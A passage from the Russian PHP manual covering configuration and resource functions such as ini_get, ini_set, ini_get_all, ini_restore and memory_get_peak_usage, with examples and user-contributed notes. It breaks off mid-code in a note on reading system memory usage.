echo $dat["ru_minflt"]; // количество исправленных страниц (лёгкая ошибка страницы)
echo $dat["ru_majflt"]; // количество ошибочных страниц (тяжёлая ошибка страницы)
echo $dat["ru_nsignals"]; // количество полученных сигналов
echo $dat["ru_nvcsw"]; // количество согласованных переключений контекста
echo $dat["ru_nivcsw"]; // количество несогласованных переключений контекста
echo $dat["ru_nswap"]; // количество свопов
echo $dat["ru_utime.tv_usec"]; // время на задачи пользователя (user time) (микросекунды)
echo $dat["ru_utime.tv_sec"]; // время на задачи пользователя (user time) (секунды)
echo $dat["ru_stime.tv_usec"]; // время на системные задачи (system time) (микросекунды)
echo $dat["ru_stime.tv_sec"]; // время на системные задачи (system time) (секунды)
?>

Примечания

Замечание:

В Windows getrusage() возвращает только следующее:

  • "ru_stime.tv_sec"
  • "ru_stime.tv_usec"
  • "ru_utime.tv_sec"
  • "ru_utime.tv_usec"
  • "ru_majflt" (только если mode - RUSAGE_SELF)
  • "ru_maxrss" (только если mode - RUSAGE_SELF)

Если getrusage() вызвана с mode равным 1 (RUSAGE_CHILDREN), то будет собираться информация по использованию ресурсов потоками (что означает, что внутри функция будет вызываться с RUSAGE_THREAD).

Замечание:

В BeOS 2000, возвращается только следующее:

  • "ru_stime.tv_sec"
  • "ru_stime.tv_usec"
  • "ru_utime.tv_sec"
  • "ru_utime.tv_usec"

Смотрите также

  • Страница системной документации getrusage(2)

User Contributed Notes

Anonymous 19-Jun-2018 03:07
BeOS support is removed in PHP 7.3:
https://github.com/php/php-src/blob/php-7.3.0alpha1/NEWS
jlh at gmx dot ch 11-Jan-2017 04:09
Note that this function returns rusage of the current process. In a web environment where you have long running apache processes that serve several requests with PHP executions, this will return cumulative timings and is therefore not suitable for telling how much user time your used. The best you could do is to call getrusage() once at the beginning and once at the end and calculate the difference.
Domas Mituzas 14-Jan-2008 01:22
getrusage() reports kernel counters that are updated only once application loses context and a switch to kernel space happens. For example on modern Linux server kernels that would mean that getrusage() calls would return information rounded at 10ms, desktop kernels - at 1ms.

getrusage() isn't usable for micro-measurements at all - and getmicrotime(true) might be much more valuable resource.


Псевдоним ini_set

  • « getrusage
  • ini_get_all »
  • PHP Manual
  • Опции PHP/информационные функции
  • Псевдоним ini_set

ini_alter

(PHP 4, PHP 5, PHP 7, PHP 8)

ini_alter — Псевдоним ini_set()

Описание

Функция является псевдонимом: ini_set().

User Contributed Notes

There are no user contributed notes for this page.


Получает все настройки конфигурации

  • « ini_alter
  • ini_get »
  • PHP Manual
  • Опции PHP/информационные функции
  • Получает все настройки конфигурации

ini_get_all

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ini_get_all — Получает все настройки конфигурации

Описание

ini_get_all(?string $extension = null, bool $details = true): array|false

Возвращает все зарегистрированные настройки конфигурации.

Список параметров

extension

Необязательное имя модуля. Если не null и не строка (string) core, функция возвращает только параметры.

details

Выводить детальные сведения о настройках или только текущие значения. По умолчанию true (выводить детальные сведения).

Возвращаемые значения

Возвращает ассоциативный массив с именами директив в качестве ключей. Возвращает false и вызывает ошибку уровня E_WARNING, если extension не существует.

Если details равен true (по умолчанию), в массиве будут содержаться global_value (значение настройки php.ini), local_value (например, заданное с помощью ini_set() или .htaccess) и access (уровень доступа).

Если details равен false, значением массива будет соответствующее текущее значение настройки.

Смотрите соответствующий раздел руководства, в котором приводится описание уровней доступа.

Замечание:

Директива может иметь несколько уровней доступа, в этом случае access будет содержать соответствующую битовую маску.

Примеры

Пример #1 Примеры использования ini_get_all()

<?php
print_r(ini_get_all("pcre"));
print_r(ini_get_all());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [pcre.backtrack_limit] => Array
        (
            [global_value] => 100000
            [local_value] => 100000
            [access] => 7
        )

    [pcre.recursion_limit] => Array
        (
            [global_value] => 100000
            [local_value] => 100000
            [access] => 7
        )

)
Array
(
    [allow_call_time_pass_reference] => Array
        (
            [global_value] => 0
            [local_value] => 0
            [access] => 6
        )

    [allow_url_fopen] => Array
        (
            [global_value] => 1
            [local_value] => 1
            [access] => 4
        )

    ...

)

Пример #2 Отключение details

<?php
print_r(ini_get_all("pcre", false)); // Добавлено в PHP 5.3.0
print_r(ini_get_all(null, false)); // Добавлено в PHP 5.3.0
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [pcre.backtrack_limit] => 100000
    [pcre.recursion_limit] => 100000
)
Array
(
    [allow_call_time_pass_reference] => 0
    [allow_url_fopen] => 1
    ...
)

Примечания

Замечание:

ini_get_all() игнорирует опции типа "массив" такие как pdo.dsn.*.

Смотрите также

  • Как изменить настройки конфигурации
  • ini_get() - Получает значение настройки конфигурации
  • ini_restore() - Восстанавливает значение настройки конфигурации
  • ini_set() - Устанавливает значение настройки конфигурации
  • get_loaded_extensions() - Возвращает массив имён всех скомпилированных и загруженных модулей
  • phpinfo() - Выводит информацию о текущей конфигурации PHP
  • ReflectionExtension::getINIEntries() - Получение ini-настроек модуля

User Contributed Notes

Julien MOREAU aka PixEye 14-Dec-2018 03:19
If you want to load and parse your own ini file, have a look at parse_ini_file() function. Example:

<?php
// ...
$my_data = parse_ini_file($my_file, true);
pmdumuid at gmail dot com 21-Mar-2016 11:09
echo recreate_php_ini();

/**
  * Sample function to re-create a php ini config file.
  *
  * @return string
  */
function recreate_php_ini() {
    $a = ini_get_all();

    $data = [];
    foreach (array_keys($a) as $k) {
        $ss = split("\.", $k);
        if (count($ss) == 1) {
            $sec = "PHP";
            $v = $k;
        } else {
            $sec = $ss[0];
            $v = $ss[1];
        }
        $data[$sec][$v] = $a[$k]['global_value'];
    }
    ksort($data);
    $out = "";
    foreach ($data as $sec => $data) {
        $out .= "[$sec]\n";
        ksort($data);
        foreach ($data as $k => $v) {
            if (is_numeric($v)) {
                $out .= sprintf("%-40s = %s\n", $k, $v);
            } else {
                $out .= sprintf("%-40s = \"%s\"\n", $k, $v);
            }
        }
        $out .= "\n";
    }
    return $out;
}
peter at peteraba dot com 07-Dec-2015 11:13
You can use the following snippet on servers to grab the live/staging configs in order to be able to replicate those in your development environment. (I use `php -a` for this)
 <?php
foreach (ini_get_all(null, false) as $key => $value) echo "$key=$value;\n";
?>
root at mantoru dot de 21-Jan-2008 01:33
Since a certain PHP version (I think it's 5.2.5) it is no longer possible to override INI entrys set with php_admin_* in httpd.conf. The access level will be set to 4 (PHP_INI_SYSTEM), which is also returned by this function.

The constants mentioned below are available in PHP, but without the prefix (e.g. INI_USER, INI_PERDIR).
justd@ntmailme 20-Dec-2002 08:15
I guess the third entry is the required access level (to change this variable at runtime):

Constant           Value      Meaning
PHP_INI_USER      1          Entry can be set in user scripts
PHP_INI_PERDIR    2          Entry can be set in php.ini, .htaccess or httpd.conf
PHP_INI_SYSTEM    4          Entry can be set in php.ini or httpd.conf
PHP_INI_ALL       7          Entry can be set anywhere

See also the docs for ini_set()

Hugo.


Получает значение настройки конфигурации

  • « ini_get_all
  • ini_parse_quantity »
  • PHP Manual
  • Опции PHP/информационные функции
  • Получает значение настройки конфигурации

ini_get

(PHP 4, PHP 5, PHP 7, PHP 8)

ini_get — Получает значение настройки конфигурации

Описание

ini_get(string $option): string|false

В случае успешного выполнения возвращает значение настройки конфигурации.

Список параметров

option

Имя настройки конфигурации.

Возвращаемые значения

Возвращает значение настройки конфигурации в виде строки. Для значений null будет возвращаться пустая строка. Функция вернёт false, если указанная настройка не существует.

Примеры

Пример #1 Несколько примеров использования ini_get()

<?php
/*
Наш файл php.ini содержит следующие настройки:

display_errors = On
register_globals = Off
post_max_size = 8M
*/

echo 'display_errors = ' . ini_get('display_errors') . "\n";
echo 'register_globals = ' . ini_get('register_globals') . "\n";
echo 'post_max_size = ' . ini_get('post_max_size') . "\n";
echo 'post_max_size+1 = ' . (ini_get('post_max_size')+1) . "\n";
echo 'post_max_size in bytes = ' . return_bytes(ini_get('post_max_size'));

function return_bytes($val) {
$val = trim($val);
$last = strtolower($val[strlen($val)-1]);
switch($last) {
// Модификатор 'G' доступен
case 'g':
$val *= 1024;
case 'm':
$val *= 1024;
case 'k':
$val *= 1024;
}

return $val;
}

?>

Результатом выполнения данного примера будет что-то подобное:

display_errors = 1
register_globals = 0
post_max_size = 8M
post_max_size+1 = 9
post_max_size in bytes = 8388608

Примечания

Замечание: Возвращаемые логические значения

Boolean-значение ini-настройки off будет возвращено в виде пустой строки или строки "0", в то время как значению on будет соответствовать строка "1". Функция также может возвращать буквенные значения INI-настройки.

Замечание: Возвращаемые значения количества памяти

Многие ini-настройки, значения которых измеряются количеством памяти, такие как upload_max_filesize, сохраняются в php.ini в сокращённом виде. ini_get() вернёт именно то, что записано в файле php.ini, а НЕ целочисленный (int) эквивалент этой величины. Попытка использования полученной величины в арифметических операциях не даст желаемого результата. В приведённом выше примере продемонстрировано, как можно перевести сокращённую запись в число байт.

Замечание:

ini_get() не может прочесть опции типа "массив", такие как pdo.dsn.*, и возвращает false таких случаях.

Смотрите также

  • get_cfg_var() - Извлекает значение настройки конфигурации PHP
  • ini_get_all() - Получает все настройки конфигурации
  • ini_restore() - Восстанавливает значение настройки конфигурации
  • ini_set() - Устанавливает значение настройки конфигурации

User Contributed Notes

Joe Huss detain at interserver dot net 16-Jan-2022 10:44
Here is a version combining a few of the examples here that does *not* require php8 nor does it generate a warning

/**
* gets the value in bytes converted from a human readable string like 10G'
*
* @param mixed $val the human readable/shorthand version of the value
* @return int the value converted to bytes
*/
function return_bytes($val) {
    $val = trim($val);
    preg_match('/([0-9]+)[\s]*([a-zA-Z]+)/', $val, $matches);
    $value = (isset($matches[1])) ? intval($matches[1]) : 0;
    $metric = (isset($matches[2])) ? strtolower($matches[2]) : 'b';
    switch ($metric) {
        case 'tb':
        case 't':
            $value *= 1024;
        case 'gb':
        case 'g':
            $value *= 1024;
        case 'mb':
        case 'm':
            $value *= 1024;
        case 'kb':
        case 'k':
            $value *= 1024;
    }
    return $value;
}
devsrealmGuy 11-Aug-2021 02:40
Here is another way to get the result in bytes using PHP8

<?php

    /**
     * @param string $size
     * @return int
     * @author DevsrealmGuy
     */
    public function getBytes(string $size): int
    {
        $size = trim($size);

        #
        # Separate the value from the metric(i.e MB, GB, KB)
        #
        preg_match('/([0-9]+)[\s]*([a-zA-Z]+)/', $size, $matches);

        $value = (isset($matches[1])) ? $matches[1] : 0;
        $metric = (isset($matches[2])) ? strtolower($matches[2]) : 'b';

        #
        # Result of $value multiplied by the matched case
        # Note: (1024 ** 2) is same as (1024 * 1024) or pow(1024, 2)
        #
        $value *= match ($metric) {
            'k', 'kb' => 1024,
            'm', 'mb' => (1024 ** 2),
            'g', 'gb' => (1024 ** 3),
            't', 'tb' =>  (1024 ** 4),
            default => 0
        };

        return (int)$value;
    }

        #
        # TEST: This default to 0 if it doesn't conform with the match standard
        #
        echo getBytes('2GB') . "</br>";
        # OUTPUT: 2147483648
        echo getBytes('4tb') . "</br>";
        # OUTPUT: 4398046511104
        echo getBytes('5345etrgrfd') . "</br>";
        # OUTPUT: 0
        echo getBytes('357568336586') . "</br>";
        # OUTPUT: 0
?>
IceNV 05-Jun-2017 08:53
Be aware that max_execution_time can be altered by XDebug.

While debugging a script locally that made use of <?php ini_get('max_execution_time'); ?> it returned 0 when XDebug remote debugging was enabled and the IDE was listening to it.

It makes sense, since debugging manually takes time so we don't want the script to time out ; but in that particular case, it made it look to the script like max_execution_time was 0, so calculations were wrong.

You can see in phpinfo() that local value is 0 in that case, but master value is the correct one you set in your php.ini.
bishop at php dot net 02-Sep-2015 07:52
In a similar vein, converting flags to booleans proper:

<?php
function return_boolean($val)
{
    static $map = array ('on' => true, 'true' => true, 'off' => false, 'false' => false);
    return @($map[strtolower($val)] ?: (bool)$val);
}
?>

If you're using PHP >= 7, consider replacing ?: with ?? and removing the @ silencer.
bishop@php 02-Sep-2015 07:37
Yet another implementation of return_bytes:

<?php
function return_bytes($val)
{
    assert('1 === preg_match("/^\d+([kmg])?$/i", $val)');
    static $map = array ('k' => 1024, 'm' => 1048576, 'g' => 1073741824);
    return (int)$val * @($map[strtolower(substr($val, -1))] ?: 1);
}
?>

If you're using PHP >= 7, you might replace ?: with ?? to avoid the use of the @ silencer.
Ivo Mandalski 15-Nov-2011 08:27
This version of return_bytes takes care of the MB, GB, KB cases along with the M,G,K ones.
Hope this is helpful!

<?php
    public static function return_bytes ($val)
    {
        if(empty($val))return 0;

        $val = trim($val);

        preg_match('#([0-9]+)[\s]*([a-z]+)#i', $val, $matches);

        $last = '';
        if(isset($matches[2])){
            $last = $matches[2];
        }

        if(isset($matches[1])){
            $val = (int) $matches[1];
        }

        switch (strtolower($last))
        {
            case 'g':
            case 'gb':
                $val *= 1024;
            case 'm':
            case 'mb':
                $val *= 1024;
            case 'k':
            case 'kb':
                $val *= 1024;
        }

        return (int) $val;
    }
?>
Stas Trefilov, OpteamIS 26-Mar-2010 10:08
another version of return_bytes which returns faster and does not use multiple multiplications (sorry:). even if it is resolved at compile time it is not a good practice;
no local variables are allocated;
the trim() is omitted (php already trimmed values when reading php.ini file);
strtolower() is replaced by second case which wins us one more function call for the price of doubling the number of cases to process (may slower the worst-case scenario when ariving to default: takes six comparisons instead of three comparisons and a function call);
cases are ordered by most frequent goes first (uppercase M-values being the default sizes);
specs say we must handle integer sizes so float values are converted to integers and 0.8G becomes 0;
'Gb', 'Mb', 'Kb' shorthand byte options are not implemented since are not in specs, see
http://www.php.net/manual/en/faq.using.php#faq.using.shorthandbytes

<?php
function return_bytes ($size_str)
{
    switch (substr ($size_str, -1))
    {
        case 'M': case 'm': return (int)$size_str * 1048576;
        case 'K': case 'k': return (int)$size_str * 1024;
        case 'G': case 'g': return (int)$size_str * 1073741824;
        default: return $size_str;
    }
}
?>
nicolas dot grekas+php at gmail dot com 19-Aug-2009 10:51
Here is how to accurately test for boolean php.ini values:

<?php

function ini_get_bool($a)
{
    $b = ini_get($a);

    switch (strtolower($b))
    {
    case 'on':
    case 'yes':
    case 'true':
        return 'assert.active' !== $a;

    case 'stdout':
    case 'stderr':
        return 'display_errors' === $a;

    default:
        return (bool) (int) $b;
    }
}

?>
peter 29-Jul-2008 02:25
The above example function called return_bytes() assumes that ini_get('upload_max_filesize') delivers only one letter at the end. As I've seen 'Mb' and things like that, I'd suggest to change the $last = ... part into $last = strtolower(substr($val,strlen($val/1),1)).
I'd call it $unit then.
filh at filh dot org 21-Nov-2005 06:24
Concerning the value retourned, it depends on how you set it.
I had the problem with horde-3 which test the safe_mode value.
THan :
- if you set the value with php_admin_value safe_mode Off (or On) ini_get returns the string
- if you set the value with php_admin_flag safe_mode Off (or On) ini_get returns the boolean.
david dot tulloh at infaze dot com dot au 21-Jun-2005 07:01
You can set custom entries in the ini file to provide globals such as database details.
However these must be retrieved with get_cfg_var, ini_get won't work.
Der Graph 16-Aug-2004 11:59
It might be useful for included scripts that include other files to extend the 'include_path' variable:

<?php ini_set('include_path',ini_get('include_path').':../includes:');  ?>

Sometimes, it may also be useful to store the current 'include_path' in a variable, overwrite it, include, and then restore the old 'include_path'.


Get interpreted size from ini shorthand syntax

  • « ini_get
  • ini_restore »
  • PHP Manual
  • Опции PHP/информационные функции
  • Get interpreted size from ini shorthand syntax

ini_parse_quantity

(PHP 8 >= 8.2.0)

ini_parse_quantity — Get interpreted size from ini shorthand syntax

Описание

ini_parse_quantity(string $shorthand): int

В случае успешного выполнения возвращает интерпретируемый размер в байтах из сокращений байтовых значений.

Список параметров

shorthand

Сокращение байтовых значений для разбора, должно быть числом, за которым следует необязательный множитель. Поддерживаются следующие множители: k/K (1024), m/M (1048576), g/G (1073741824). Число может быть десятичным, шестнадцатеричным (с префиксом 0x или 0X), восьмеричным (с префиксом 0o, 0O или 0) или двоичным (с префиксом 0b или 0B).

Возвращаемые значения

Возвращает интерпретируемый размер в байтах в виде целого числа (int).

Ошибки

Если значение не может быть разобрано или используется недопустимый множитель, то выдаётся ошибка уровня E_WARNING.

Примеры

Пример #1 Пример использования ini_parse_quantity()

<?php

var_dump(ini_parse_quantity('1024'));
var_dump(ini_parse_quantity('1024M'));
var_dump(ini_parse_quantity('512K'));
var_dump(ini_parse_quantity('0xFFk'));
var_dump(ini_parse_quantity('0b1010k'));
var_dump(ini_parse_quantity('0o1024'));
var_dump(ini_parse_quantity('01024'));
var_dump(ini_parse_quantity('Foobar'));
var_dump(ini_parse_quantity('10F'));

?>

Результатом выполнения данного примера будет что-то подобное:

int(1024)
int(1073741824)
int(524288)
int(261120)
int(10240)
int(532)
int(532)

Warning: Invalid quantity "Foobar": no valid leading digits, interpreting as "0" for backwards compatibility
int(0)

Warning: Invalid quantity "10F": unknown multiplier "F", interpreting as "10" for backwards compatibility
int(10)

Смотрите также

  • ini_get() - Получает значение настройки конфигурации

User Contributed Notes

There are no user contributed notes for this page.


Восстанавливает значение настройки конфигурации

  • « ini_parse_quantity
  • ini_set »
  • PHP Manual
  • Опции PHP/информационные функции
  • Восстанавливает значение настройки конфигурации

ini_restore

(PHP 4, PHP 5, PHP 7, PHP 8)

ini_restore — Восстанавливает значение настройки конфигурации

Описание

ini_restore(string $option): void

Восстанавливает исходное значение настройки конфигурации.

Список параметров

option

Имя настройки.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ini_restore()

<?php
$setting = 'html_errors';

echo 'Текущее значение настройки \'' . $setting . '\': ' . ini_get($setting), PHP_EOL;

ini_set($setting, ini_get($setting) ? 0 : 1);
echo 'Новое значение настройки \'' . $setting . '\': ' . ini_get($setting), PHP_EOL;

ini_restore($setting);
echo 'Исходное значение настройки \'' . $setting . '\': ' . ini_get($setting), PHP_EOL;
?>

Результат выполнения данного примера:

Текущее значение настройки 'html_errors': 1
Новое значение настройки 'html_errors': 0
Исходное значение настройки 'html_errors': 1

Смотрите также

  • ini_get() - Получает значение настройки конфигурации
  • ini_get_all() - Получает все настройки конфигурации
  • ini_set() - Устанавливает значение настройки конфигурации

User Contributed Notes

Anonymous 11-Jan-2016 02:08
If like me you thought ini_restore() would restore to the most recent setting rather than the startup value, you could use this.

<?php

/**
 * Executes a function using a custom PHP configuration.
 *
 * @param array $settings A map<ini setting name, ini setting value>.
 * @param callable $doThis The code to execute using the given settings.
 * @return mixed Returns the value returned by the given callable.
 */
function ini_using_do(array $settings, callable $doThis){
    foreach($settings as $name => $value){
        $previousSettings[$name] = ini_set($name, $value);
    }
    $returnValue = $doThis();
    if(isset($previousSettings)){
        foreach($previousSettings as $name => $value){
            ini_set($name, $value);
        }
    }
    return $returnValue;
}

?>


Устанавливает значение настройки конфигурации

  • « ini_restore
  • memory_get_peak_usage »
  • PHP Manual
  • Опции PHP/информационные функции
  • Устанавливает значение настройки конфигурации

ini_set

(PHP 4, PHP 5, PHP 7, PHP 8)

ini_set — Устанавливает значение настройки конфигурации

Описание

ini_set(string $option, string|int|float|bool|null $value): string|false

Устанавливает значение заданной настройки конфигурации. Настройка будет хранить установленное значение пока выполняется скрипт. После завершения работы скрипта значение настройки вернётся к исходному.

Список параметров

option

Не все доступные настройки можно изменять функцией ini_set(). Список доступных настроек приведён в приложении.

value

Новое значение настройки.

Возвращаемые значения

В случае успешного выполнения возвращает старое значение или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр value теперь принимает любой скалярный тип (включая null). Ранее допускались только строковые (string) значения.

Примеры

Пример #1 Установка значения ini-настройки

<?php
echo ini_get('display_errors');

if (!ini_get('display_errors')) {
ini_set('display_errors', '1');
}

echo ini_get('display_errors');
?>

Смотрите также

  • get_cfg_var() - Извлекает значение настройки конфигурации PHP
  • ini_get() - Получает значение настройки конфигурации
  • ini_get_all() - Получает все настройки конфигурации
  • ini_restore() - Восстанавливает значение настройки конфигурации
  • Как изменить настройки конфигурации

User Contributed Notes

Julien MOREAU aka PixEye 14-Jan-2022 10:48
In order to change zend.assertions or assert.exception values, try with the ini_set() function but be aware that it may fail.

Example:
<?php
$ret = @ini_set('zend.assertions', '1');
if ($ret === false) echo 'ini_set() failed before line ', __LINE__, PHP_EOL;
ASchmidt at Anamera dot net 27-Jul-2017 11:29
When checking for the success of ini_set(), keep in mind that it will return the OLD value upon success - which may have been "0". Therefore you cannot just compare the return value - you have to check for "identity":

<?php

// This will NOT determine the success of ini_set(), instead
// it only tests if the old value had been equivalent to false
if ( !ini_set( 'display_errors', '1' ) )
    throw new \Exception( 'Unable to set display_errors.' );

// This is the CORRECT way to determine success
if ( ini_set( 'display_errors', '1' ) === false )
    throw new \Exception( 'Unable to set display_errors.' );

?>

This explains reported situations where ini_set() "always" seems to fail!
Gev 17-Jul-2017 06:57
ini_set('display_errors', 1);
error_reporting(E_ALL);
Er.ellison 13-Nov-2015 07:44
if u receive  an Error with generic like  :
Maximum execution time of 30 seconds exceeded

if u set ini_set(max_execution_time, 300);
your problem will be solved
pls note that the 300 , is 300 seconds , which means 5 minute  you can set another value !
w3dk 06-May-2015 05:21
Whilst most boolean settings can be disabled by passing '0', 'Off' or `No' (in fact anything that is not '1', 'On' or 'Yes' - not case-sentive) to ini_set(), it should be noted that ini_get() returns the literal string as set. So if you later want to check this setting by calling ini_get() and it's been set to 'Off' (a non-empty string that evaluates to True), then you'll have to specifically check for this in a (case-insensitive) string comparison, rather than the simpler:

if (ini_get('config_setting')) { /* ... */ }

So, if you need to disable boolean settings I think it's preferable to set them to '0' (which simply evaluates to False).
nl-x 17-Sep-2014 11:32
I have experienced on some systems that ini_set() will fail and return a false, when trying to set a setting that was set inside php.ini inside a per-host setting. Beware of this.
anonymous 10-Aug-2014 04:30
Note that this function only works with PHP_INI_ALL options!
williamprogphp at yahoo dot com dot br 10-Jan-2014 12:20
I figured out why php dont output errors such as an expected ';' on code and output a 500 error. Some server are configured to omit php errors on pages using the directive display_errors=Off;

In most cases, the server will output a 500 Internal Server Error instead of php error because of it.

To prevent this default you must set this directive directly in the php.ini file and the server will show you the php error properly. Setting ini_set('display_errors', true) on-the-fly wont work.
Nathan 08-Nov-2011 08:56
Careful - in some cases, when setting zlib.output_compression to "On" via ini_set, PHP won't send the Content-type header and browsers will garble the output. Set it to the desired buffer size instead, which sends the correct header:

<?php
ini_set("zlib.output_compression", 4096);
?>
MadJoker 12-Aug-2009 01:46
If you use gz_handler you might want to switch over to
zlib.output_compression

This can be controlled via the ini_set control.

<?php ini_set('zlib.output_compression', 'Off'); ?>

or

<?php ini_set('zlib.output_compression', 'On'); ?>
daevid at daevid dot com 30-Oct-2006 05:19
Be careful with setting an output_handler, as you can't use ini_set() to change it. *sigh*

In my php.ini I have this for my web pages (and I want it):

  output_handler = ob_gzhandler

But this causes my command line scripts to not show output until the very end.

#!/usr/bin/php -q
<?php
ini_set('output_handler', 'mb_output_handler');
echo "\noutput_handler => " . ini_get('output_handler') . "\n";
?>

root@# ./myscript.php
output_handler => ob_gzhandler

Apparently (acording to Richard Lynch):

> TOO LATE!
> The ob_start() has already kicked in by this point.
> ob_flush() until there are no more buffers.
RebootConcepts.com 31-Mar-2006 01:36
set PHP_INI_PERDIR settings in a .htaccess file with 'php_flag' like this:

php_flag register_globals off
php_flag magic_quotes_gpc on
Ron Ludwig 10-Jan-2006 11:30
When your ISP does not allow you to add the default include directories - it might be useful to extend the 'include_path' variable:

<?php ini_set('include_path',ini_get('include_path').':../includes:');  ?>
brainiac5 dot php at aimail dot de 05-Sep-2004 07:54
To find the apache php settings try something like this.
> cd /etc/apache2
> grep -r -n -i  safe_mode_exec_dir *.conf
or
> grep -r -n -i safe_mode.*On *.conf

If you find a gererated file, obviously you need to find the source template for it, to change what's needed there.

I just wasted a sunny Sunday on searching for where the heck safe_mode_exec_dir was changed.

And yes, Local Value in phpinfo does mean 'changed between the php.ini file and here', as you would think.

If you have an automated virtual host configuration, such as confixx, php ini values can be spread across very many files.

They can be changed in apache config files, that can have any name, but usually will end on .conf, besides in .htaccess files.
klw at gmx dot at 05-Sep-2004 06:49
To change settings from .htaccess files, it is also required that the directory permissions configured in Apache allow this.

The <Directory /foo/bar> entry in httpd.conf MUST contain "AllowOverride All" or at least "AllowOverride Options" to read PHP settings from the .htaccess file.

E.g. in Fedora Core 2, the default settings for /var/www/html/ are "AllowOverride None", so changing PHP settings via .htaccess for applications installed below /var/www/html/ will not work.
sean at php dot net 13-Aug-2004 06:54
While this doesn't belong in the manual, it should be useful for people looking on this page for zend_optimizer.* ini options, which are commonly installed:

Information on the "zend_optimizer.optimization_level" and "zend_optimizer.enable_loader" options is available at:

http://www.zend.com/support/user_docs/ZendOptimizer/PDF/ZendOptimizer_UserGuide.pdf
davey at its-explosive dot net 17-Mar-2003 06:42
If you set something using php_admin_value in httpd.conf it is then not possible to be set the value at runtime, even if it's NOT PHP_INI_SYSTEM.

Just an interesting note for Server admins this might come in handy to disable setting of certain things... like allow_url_fopen.

- Davey
miroslav AT simunic DOT de 29-Sep-2002 08:26
If it's not your server and therefore you want to hide the data in your session variables from other users, it?s very useful to set the session.save_handler in your scripts to shared memory with:

<?php ini_set('session.save_handler','mm'); ?>

Remember: You have to set it in every script that uses the session variables BEFORE "session_start()" or php won't find them.
Tr909 at com dot nospam dot bigfoot 12-Jun-2002 10:04
[[[Editors note: Yes, this is very true.  Same with
register_globals, magic_quotes_gpc and others.
]]]

Many settings, although they do get set, have no influence in your script.... like upload_max_filesize will get set but uploaded files are already passed to your PHP script before the settings are changed.

Also other settings, set by ini_set(), may be to late because of this (post_max_size etc.).
beware, try settings thru php.ini or .htaccess.
johnzoet at netscape dot com 13-Mar-2002 06:13
[[[Editors note: Just because you're able to set something
doesn't mean it will work as expected.  Depends on the
setting.  For example. setting register_globals at
runtime will be of little use as its job has already
been completed by the time it reaches your script.
]]]

When a setting can not be changed in a user script, the return value of ini_set is "empty", not "false" as you may expect.
If you check in your script for return value is "false" the script will continue processing, although the setting has not been set.
The boolean return value is used for settings that can be changed in a script. Otherwise the empty value is returned.
To test for both error conditions use:

<?php
if (empty($blnResult) or (!$blnResult)) {
   echo "setting cannot be set";
   exit;
}
?>


Возвращает пиковое значение объёма памяти, выделенное PHP

  • « ini_set
  • memory_get_usage »
  • PHP Manual
  • Опции PHP/информационные функции
  • Возвращает пиковое значение объёма памяти, выделенное PHP

memory_get_peak_usage

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

memory_get_peak_usage — Возвращает пиковое значение объёма памяти, выделенное PHP

Описание

memory_get_peak_usage(bool $real_usage = false): int

Возвращает максимальный объем памяти в байтах, который был выделен PHP-скрипту.

Список параметров

real_usage

Передача true в качестве этого аргумента позволяет получить реальный объем памяти, выделенный системой. Если аргумент не задан или равен false, возвращаются сведения только о памяти, выделенной функцией emalloc().

Возвращаемые значения

Возвращает максимальный объем памяти в байтах.

Смотрите также

  • memory_get_usage() - Возвращает количество памяти, выделенное для PHP
  • memory_reset_peak_usage() - Сбрасывает пиковое использование памяти
  • memory_limit

User Contributed Notes

stanislav dot eckert at vizson dot de 18-Feb-2017 03:14
memory_get_peak_usage() is used to retrieve the highest memory usage of PHP (or your running script) only. If you need the overall memory usage of the entire system, following function might be helpful. If retrieves the memory usage either in percent (without the percent sign) or in bytes by returning an array with free and overall memory of your system. Tested with Windows (7) and Linux (on an Raspberry Pi 2):

<?php

    // Returns used memory (either in percent (without percent sign) or free and overall in bytes)
    function getServerMemoryUsage($getPercentage=true)
    {
        $memoryTotal = null;
        $memoryFree = null;

        if (stristr(PHP_OS, "win")) {
            // Get total physical memory (this is in bytes)
            $cmd = "wmic ComputerSystem get TotalPhysicalMemory";
            @exec($cmd, $outputTotalPhysicalMemory);

            // Get free physical memory (this is in kibibytes!)
            $cmd = "wmic OS get FreePhysicalMemory";
            @exec($cmd, $outputFreePhysicalMemory);

            if ($outputTotalPhysicalMemory && $outputFreePhysicalMemory) {
                // Find total value
                foreach ($outputTotalPhysicalMemory as $line) {
                    if ($line && preg_match("/^[0-9]+\$/", $line)) {
                        $memoryTotal = $line;
                        break;
                    }
                }

                // Find free value
                foreach ($outputFreePhysicalMemory as $line) {
                    if ($line && preg_match("/^[0-9]+\$/", $line)) {
                        $memoryFree = $line;
                        $memoryFree *= 1024;  // convert from kibibytes to bytes
                        break;
                    }
                }
            }
        }
        else
        {
            if (is_readable("/proc/meminfo"))
            {
                $stats = @file_get_contents("/proc/meminfo");

                if ($stats !== false) {
                    // Separate lines
                    $stats = str_replace(array("\r\n", "\n\r", "\r"), "\n", $stats);
                    $stats = explode("\n", $stats);

                    // Separate values and find correct lines for total and free mem
                    foreach ($stats as $statLine) {
                        $statLineData = explode(":", trim($statLine));

                        //
                        // Extract size (TODO: It seems that (at least) the two values for total and free memory have the unit "kB" always. Is this correct?
                        //

                        // Total memory
                        if (count($statLineData) == 2 && trim($statLineData[0]) == "MemTotal") {
                            $memoryTotal = trim($statLineData[1]);
                            $memoryTotal = explode(" ", $memoryTotal);
                            $memoryTotal = $memoryTotal[0];
                            $memoryTotal *= 1024;  // convert from kibibytes to bytes
                        }

                        // Free memory
                        if (count($statLineData) == 2 && trim($statLineData[0]) == "MemFree") {
                            $memoryFree = trim($statLineData[1]);
                            $memoryFree = explode(" ", $memoryFree);
                            $memoryFree = $memoryFree[0];
                            $memoryFree *= 1024;  // convert from kibibytes to bytes
                        }
                    }
                }
            }
        }

        if (is_null($memoryTotal) || is_null($memoryFree)) {
            return null;
        } else {
            if ($getPercentage) {
                return (100 - ($memoryFree * 100 / $memoryTotal));
            } else {
                return array(
                    "total" => $memoryTotal,
                    "free" => $memoryFree,
                );
            }
        }
    }

    function getNiceFileSize($bytes, $binaryPrefix=true) {
        if ($binaryPrefix) {
            $unit=array('B','KiB','MiB','GiB','TiB','PiB');
            if ($bytes==0) return '0 ' . $unit[0];
            return @round($bytes/pow(1024,($i=floor(log($bytes,1024)))),2) .' '. (isset($unit[$i]) ? $unit[$i] : 'B');
        } else {
